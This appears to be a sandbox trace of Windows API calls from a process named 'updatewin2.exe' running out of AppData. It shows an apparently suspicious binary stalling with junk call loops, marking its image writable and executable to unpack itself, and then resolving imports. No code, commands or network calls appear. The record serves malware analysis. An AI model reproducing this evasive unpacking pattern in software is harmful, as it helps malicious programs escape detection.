GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.490] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.490] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.490] AddAtomA (lpString=0x0) returned 0x0 [0054.490] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.490] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.490] AddAtomA (lpString=0x0) returned 0x0 [0054.490] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.490] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.490] AddAtomA (lpString=0x0) returned 0x0 [0054.490] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.490] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.490] AddAtomA (lpString=0x0) returned 0x0 [0054.490] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.490] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.490] AddAtomA (lpString=0x0) returned 0x0 [0054.490] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.490] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.490] AddAtomA (lpString=0x0) returned 0x0 [0054.490] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.490] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.551] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.552] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0054.552] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0054.552] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0054.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0054.552] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0054.552] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0054.552] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0054.552] SetErrorMode (uMode=0x400) returned 0x0 [0054.552] SetErrorMode (uMode=0x0) returned 0x400 [0054.552] GetVersionExA (in: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0054.552] VirtualAlloc (lpAddress=0x0, dwSize=0x2d800, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0054.555] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5f0 | out: lpflOldProtect=0x18f5f0*=0x2) returned 1 [0054.628] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.629] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0054.629] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0054.629] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0054.629] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0054.629] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0054.629] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0054.629] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0054.629] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0054.629] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0054.630] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0054.631] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0054.632] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0054.633] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.633] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0054.634] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0054.634] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0054.634] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0054.634] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0054.634] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0054.634] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0054.637] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0054.638] atexit (param_1=0x5263d8) returned 0 [0054.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5f4 | out: lpSystemTimeAsFileTime=0x18f5f4*(dwLowDateTime=0xad78bc30, dwHighDateTime=0x1d54670)) [0054.638] GetCurrentThreadId () returned 0xb24 [0054.638] GetCurrentProcessId () returned 0xb20 [0054.638] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5ec | out: lpPerformanceCount=0x18f5ec*=17491541011) returned 1 [0054.638] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.638] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.638] GetLastError () returned 0x57 [0054.638] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.638] GetLastError () returned 0x57 [0054.638] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0054.638] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0054.638] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.638] GetLastError () returned 0x57 [0054.638] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.639] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.639] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.639] GetLastError () returned 0x57 [0054.639] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.639] GetLastError () returned 0x57 [0054.639] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0054.639] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0054.639] GetProcessHeap () returned 0x510000 [0054.639] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.639] GetLastError () returned 0x57 [0054.639] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.639] GetLastError () returned 0x57 [0054.639] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.639] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.639] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x364) returned 0x53ad00 [0054.640] SetLastError (dwErrCode=0x57) [0054.640] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc00) returned 0x53b070 [0054.641] GetStartupInfoW (in: lpStartupInfo=0x18f528 | out: lpStartupInfo=0x18f528*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033e0, hStdOutput=0xbe67e85f, hStdError=0xfffffffe)) [0054.641] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.641] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.641] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.641] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe\" " [0054.641] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe\" " [0054.641] GetACP () returned 0x4e4 [0054.641] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x220) returned 0x53a1c0 [0054.641] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.641] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f548 | out: lpCPInfo=0x18f548) returned 1 [0054.641] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ee10 | out: lpCPInfo=0x18ee10) returned 1 [0054.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eba8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0054.641] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x18ee24 | out: lpCharType=0x18ee24) returned 1 [0054.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.641] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.641] GetLastError () returned 0x57 [0054.641] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0054.641] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0054.642] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e948, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0054.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f324, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x87\x46\x3e\xbe\x60\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0054.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0054.642] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 